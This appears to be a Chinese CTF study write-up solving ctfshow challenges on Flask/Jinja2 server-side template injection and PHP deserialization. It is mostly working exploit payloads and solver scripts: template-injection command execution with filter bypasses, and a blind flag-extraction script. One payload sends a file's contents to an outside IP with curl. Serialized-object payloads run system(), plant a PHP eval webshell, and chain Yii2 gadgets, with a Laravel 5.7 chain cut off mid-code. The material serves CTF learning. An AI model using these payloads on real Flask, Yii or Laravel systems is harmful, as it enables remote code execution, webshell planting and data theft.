学习SSTI和php反序列化,完成ctfshow对应题目。
目录
一,SSTI
摘录要点:
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
常用的过滤器:
int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
title():把值中的每个单词的首字母都转成大写;
capitalize():把变量值的首字母转成大写,其余字母转小写;
trim():截取字符串前面和后面的空白字符;
wordcount():计算一个长字符串中单词的个数;
reverse():字符串反转;
replace(value,old,new): 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False):截取length长度的字符串;
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};
list():将变量列成列表;
string():将变量转换成字符串;
join():将一个序列中的参数值拼接成字符串。示例看上面payload;
abs():返回一个数值的绝对值;
first():返回一个序列的第一个元素;
last():返回一个序列的最后一个元素;
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
length():返回一个序列或者字典的长度;
sum():返回列表内数值的和;
sort():返回排序后的列表;
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
length()返回字符串的长度,别名是count
web361
注入点是?name。
?name={{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
利用的是os._wrap_close类
web362
可以用以下已有的函数,去得到__builtins__,然后用eval就可以了:
?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
学习到的新姿势:
?name={{x.__init__.__globals__['__builtins__']}}
这里的x任意26个英文字母的任意组合都可以,同样可以得到__builtins__然后用eval就可以了。
还学习了一下用{% %}来SSTI:
{% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__glob
web363
过滤了单双引号,可以用request来绕过:
?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}
也可以考虑字符串拼接,这里用config拿到字符串,比较麻烦就不全演示了,只演示部分:
?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
相当于
?name={{url_for.__globals__['os']}}
也可以先把chr给找出来,然后用chr拼接就不需要引号了:
?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print url_for.__globals__[chr(111)%2bchr(115)]%}
web364
(加在前面,当时这里有一个误区,以为values的值仅仅是post,其实也包含get,所以valuess也可以。)
过滤了args,本来考虑用request.values,但是发现post方法不被allow,所以改成cookie:
?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
a=os;b=popen;c=cat /flag
web365
过滤了单双引号,还有中括号,request.cookies仍然可以用了。
单双引号的绕过还是利用之前提到的姿势,至于中括号的绕过拿点绕过,拿__getitem__
等绕过都可以。
使用request绕过的话可以这样:
?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag
尝试用一下字符串拼接,python脚本
import requests
url="http://24d7f73c-6e64-4d9c-95a7-abe78558771a.chall.ctf.show:8080/?name={{config.__str__().__getitem__(%d)}}"
payload="cat /flag"
result=""
for j in payload:
for i in range(0,1000):
r=requests.get(url=url%(i))
location=r.text.find("<h3>")
word=r.text[location+4:location+5]
if word==j:
print("config.__str__().__getitem__(%d) == %s"%(i,j))
result+="config.__str__().__getitem__(%d)~"%(i)
break
print(result[:len(result)-1])
?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)
).read()}}
web366
在之前的基础上又ban了下划线_,这样__globals__这样的就构造不出来了,拿request绕过。
获取属性的话,用lipsum.(request.values.b)是会500的,中括号被ban了,__getattribute__也用不了的话,就用falsk自带的过滤器attr:
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie:a=__globals__;b=cat /flag
除了request
web367
ban了os,那就把os写到request里面就行了,不ban掉request的话是比较轻松的。
?a=__globals__&b=os&c=cat /flag&name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}
web368
ban了{{,就要想办法拿{% %}来绕过。
?a=__globals__&b=os&c=cat /flag&name={% print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}
一般的话把{{给ban了,用{% %}是可以盲注的,我们这里盲注一下/flag文件的内容,原理就在于open('/flag').read()是回显整个文件,但是read函数里加上参数:open('/flag').read(1),返回的就是读出所读的文件里的i个字符,以此类推,就可以盲注出了
import requests
url="http://3db27dbc-dccc-46d0-bc78-eff3fc21af74.chall.ctf.show:8080/"
flag=""
for i in range(1,100):
for j in "abcdefghijklmnopqrstuvwxyz0123456789-{}":
params={
'name':"{{% set a=(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) %}}{{% if a==request.values.d %}}feng{{% endif %}}".format(i),
'a':'__globals__',
'b':'__builtins__',
'c':'/flag',
'd':f'{flag+j}'
}
r=requests.get(url=url,params=params)
if "feng" in r.text:
flag+=j
print(flag)
if j=="}":
exit()
break
name那里用了{{
和}}
因为用的format格式化字符串,用{}
来占位,如果里面本来就有{
和}
的话,就需要用{{
和}}
来代替{
和}
。
web369
把request给ban了,想办法自己凑字符,这里拿config来凑。问题是_被ban了,所以__str__()用不了,这里拿string过滤器来得到config的字符串:config|string,但是获得字符串后本来应该用中括号或者__getitem__(),这里问题是_被ban了,所以获取字符串中的某个字符比较困难,这里转换成列表,再用列表的pop方法就可以成功得到某个字符,在跑字符的时候发现没有小写的b,只有大写的B,所以再去一层.lower()方法,方便跑更多字符,写个脚本:
import requests
url="http://ac6e1d67-01fa-414d-8622-ab71706a7dca.chall.ctf.show:8080/?name={{% print (config|string|list).pop({}).lower() %}}"
payload="cat /flag"
result=""
for j in payload:
for i in range(0,1000):
r=requests.get(url=url.format(i))
location=r.text.find("<h3>")
word=r.text[location+4:location+5]
if word==j.lower():
print("(config|string|list).pop(%d).lower() == %s"%(i,j))
result+="(config|string|list).pop(%d).lower()~"%(i)
break
print(result[:len(result)-1])
?name={% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
)).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}
新的得到字符的方式,其实相当于只需要得到被ban的字符就可以了,例如_
这样的,然后有这种方式:
{% set a=dict(o=oo,s=ss)|join %}
这样得到的a就是把这个字典的键名拼接后的值,即os,这样的拼接不需要用到单双引号,非常方便。要做的就是想办法把类似_
这样的字符通过一系列操作找出来
可以参考这种:
http://de1d82f0-b40d-430f-9cb5-ce2435f44306.chall.ctf.show:8080/?name=
{% set a=(()|select|string|list).pop(24) %}
{% set globals=(a,a,dict(globals=1)|join,a,a)|join %}
{% set init=(a,a,dict(init=1)|join,a,a)|join %}
{% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}
{% set a=(lipsum|attr(globals)).get(builtins) %}
{% set chr=a.chr %}
{% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}
相当于lipsum.__globals__['__builtins__'].open('/flag').read()
,在__builtins__
里面拿到chr,同样可以很方便的构造字符。
web370
又ban了数字,想了一下可以把一些东西转string再转list,然后用index,然后基本上所有数字都可以拿到,但是可能稍微麻烦了一下。这里我想办法拿到下划线和斜杠,然后组合:
http://965f672b-0325-41b2-af0b-2c72881896c3.chall.ctf.show:8080/?name=
{% set o=(dict(o=z)|join) %}
{% set n=dict(n=z)|join %}
{% set ershisi=(()|select|string|list).index(o)*(()|select|string|list).index(n) %}
{% set liushisi=(()|select|string|list).index(o)*(()|select|string|list).index(o) %}
{% set xiegang=(config|string|list).pop(-liushisi) %}
{% set gang=(()|select|string|list).pop(ershisi) %}
{% set globals=(gang,gang,(dict(globals=z)|join),gang,gang)|join %}
{% set builtins=(gang,gang,(dict(builtins=z)|join),gang,gang)|join %}
{% set gangfulaige=(xiegang,dict(flag=z)|join)|join %}
{% print (lipsum|attr(globals)).get(builtins).open(gangfulaige).read() %}
还这样构造:
{% set one=(dict(c=z)|join|length) %}
{% set two=(dict(cc=z)|join|length) %}
这样所有的数字都可以很轻松的得到,比那种用index得数字得方法要简单得多。
一个curl反弹的payload
?name=
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set cccccccccc=dict(cccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,c,c,cccccccc,point,ccc,c,point,c,cccccc,cccccccc,point,c,ccccccccc,cccccccc,maohao,ccc,ccccccccc,c,c,c,xiegang,result)|join %}
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}
web371
把print给过滤了,用上题反弹shell的payload,我感觉我写的那个挺麻烦的,建议自己参照着那个思路写个简单的,想办法拿python把curl的命令的字符都给跑出来。
web372
上题的payload还是能跑出来,ban了count,因为之前用的都是length。
数字的过滤可以拿全角数字来代替半角数字,实现绕过。正常的数字都是半角数字,但是用全角数字的话这里同样可以。
可以拿python脚本跑出来:
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
s="0123456789"
for i in s:
t+='\''+half2full(i)+'\','
print(t)
二,php反序列化
PHP中的魔术变量:
__sleep() //执行serialize()时,先会调用这个函数
__wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符时绕过)
__construct() //当对象被创建时,会触发进行初始化
__destruct() //对象被销毁时触发
__toString(): //当一个对象被当作字符串使用时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量)
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试以调用函数的方式调用一个对象时
序列化对象:
private变量会被序列化为:\x00类名\x00变量名 protected变量会被序列化为: \x00\*\x00变量名 public变量会被序列化为:变量名
web254
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
payload:
?username=xxxxxx&password=xxxxxx
web255
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
反序列化的点在cookie的user中,我们需要让$isVip=true
<?php
class ctfShowUser{
public $isVip=true;
}
$a= serialize(new ctfShowUser());
echo urlencode($a);
?>
//运行结果
O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
payload:
?username=xxxxxx&password=xxxxxx
Cookie:user=O:11:"ctfShowUser":1:{s:5:"isVip"%3bb:1%3b}
最后url编码
web256
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){//此处多了一个限制需要修改二者其一
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
<?php
class ctfShowUser{
public $username='yn8rt';
public $isVip=true;
}
$a= serialize(new ctfShowUser());
echo urlencode($a);
?>
//运行结果
O:11:"ctfShowUser":2:{s:8:"username";s:5:"yn8rt";s:5:"isVip";b:1;}
//url编码处理后:
O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22yn8rt%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B
payload:
username=yn8rt&password=xxxxxxCookie:user=O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22yn8rt%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257
对象注入
error_reporting(0);highlight_file(__FILE__);class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }}class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; }}class backDoor{ private $code; public function getInfo(){ eval($this->code); }}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password);}
此题关键之处在于__destruct()在销毁对象时会自动调用getInfo()方法,而这时候的getInfo()方法有两个,一个在类info中。一个在backDoor中,我们需要的是利用反序列来将后者的被调用,也就是我们实例化的对象需要的是backDoor的属性所以需要将$this->class指向backDoor
<?phpclass ctfShowUser{ private $class = 'backDoor'; public function __construct(){ $this->class=new backDoor(); } } class backDoor{ private $code='system("cat f*");';}$a = serialize(new ctfShowUser());echo urlencode($a);?>//运行结果O:11:"ctfShowUser":1:{s:18:"%00ctfShowUser%00class";O:8:"backDoor":1:{s:14:"backDoorcode";s:17:"system("cat f*");";}}
payload:
?username=yn8rt&password=666Cookie:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D
web258
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
多了一个正则表达式:/[oc]:\d+:/i
。意思是过滤这两种情况:o:数字:
与c:数字:
这种情况是用+(加号)
绕过的,如:o:+
构造:
<?php
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("cat f*");';
}
$a = serialize(new ctfShowUser());
$a = str_replace('O:','O:+',$a);
echo urlencode($a);
?>
//运行结果
O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:17:"system("cat f*");";}}
//URL处理
O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D
payload:
?username=yn8rt&password=666
Cookie:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D
web259
SoapClient与CRLF组合
web260
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
<?php
class ctf{
public $c = 'ctfshow_i_love_36D';
}
$a = serialize(new ctf());
echo urlencode($a);
?>
web261
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){ //将在反序列化之后立即调用
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){ //当尝试以调用函数的方式调用一个对象时
eval($this->code);
}
public function __sleep(){ //在对象被序列化之前运行
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
当反序列化时会进入__unserialize中,而且也没有什么方法可以进入到__invoke中。所以直接就朝着写文件搞就可以
只要满足code==0x36d(877)就可以了。
而code是username和password拼接出来的。
所以只要username=877.php password=shell就可以了。
877.php==877是成立的(弱类型比较)
payload:
<?php
class ctfshowvip{
public $username;
public $password='';
public $code='';
public function __construct(){
$this->username='877.php';
$this->password='<?php eval($_POST[1]);?>';
}
}
echo serialize(new ctfshowvip());
?>
//O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:4:"code";s:0:"";}
web262
反序列化字符串逃逸
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
打开message.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
传入的点在cookie的msg组
<?php
class message{
public $from='1';
public $msg='2';
public $to='3';
public $token='admin';
}
$a = new message();
print_r(serialize($a));
?>
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:4:"user";}
在construct中是没有token的初始化的,而又不存在对象注入,所以只能利用字符串的缩短来实现替换token的值,可以看出来与上面相比是少了一个字符的
web263
web264
反序列化字符串逃逸,访问message.php时需要设置session,在cookie中添加msg,value
payload:
?f=1&m=2&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
web265
反序列化中指针引用:&
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());//生成随机数
if($ctfshow->login()){
echo $flag;
}
引用:引用传值
<?php
class abc{
public $a = '1';
public $b = '2';
}
$c = new abc();
$c->a =&$c->b;
$c->a = '1';//此时哪怕修改a的值也不管用
$c->b = md5(mt_rand());
print_r($c->a);
?>
//运行结果
cc459dba9ce1830f72c80ba14532bbac
payload:
<?php
class ctfshowAdmin{
public $token=1;
public $password=1;
}
$a = new ctfshowAdmin();
$a->password=&$a->token;//让passwd的值随token变
echo serialize($a);
//运行结果
O:12:"ctfshowAdmin":2:{s:5:"token";i:1;s:8:"password";R:2;}
web266
PHP对类名的大小写不敏感
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
序列化的字符串里面如果有ctfshow就会抛出一个异常,这样就没法触发__destrurt魔术方法了
,所以得绕过这个正则:
区分大小写的: 变量名、常量名、数组索引(键名key)
不区分大小写的:函数名、方法名、类名、魔术常量、NULL、FALSE、TRUE
<?php
class Ctfshow{};
$a = new Ctfshow();
echo serialize($a);
?>
//O:7:"Ctfshow":0:{}
web267
Yii反序列化漏洞,
影响范围:Yii2 <2.0.38
admin/admin弱口令进入管理员账户,在about页面查看源代码会发现 <!--?view-source -->
访问?r=site%2Fabout&view-source
得到:
///backdoor/shell
unserialize(base64_decode($_GET['code']))
现成poc:
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'exec'; //PHP函数
$this->id = 'cat /flag >2.txt'; //PHP函数的参数
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
payload:
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo0OiJleGVjIjtzOjI6ImlkIjtzOjE2OiJjYXQgL2ZsYWcgPjIudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19
根目录访问2.txt即可
web268-270
Yii反序列化漏洞,做法一样但是需要修改poc,因为存在过滤
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); //此处写命令
echo(base64_encode(serialize($exp)));
}
payload:
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxMjoiY3AgL2YqIDEudHh0Ijt9aToxO3M6MzoicnVuIjt9fX0=
web271
Laravel5.7 反序列化漏洞,空格被过滤注意修改最后的payload
<?php
namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
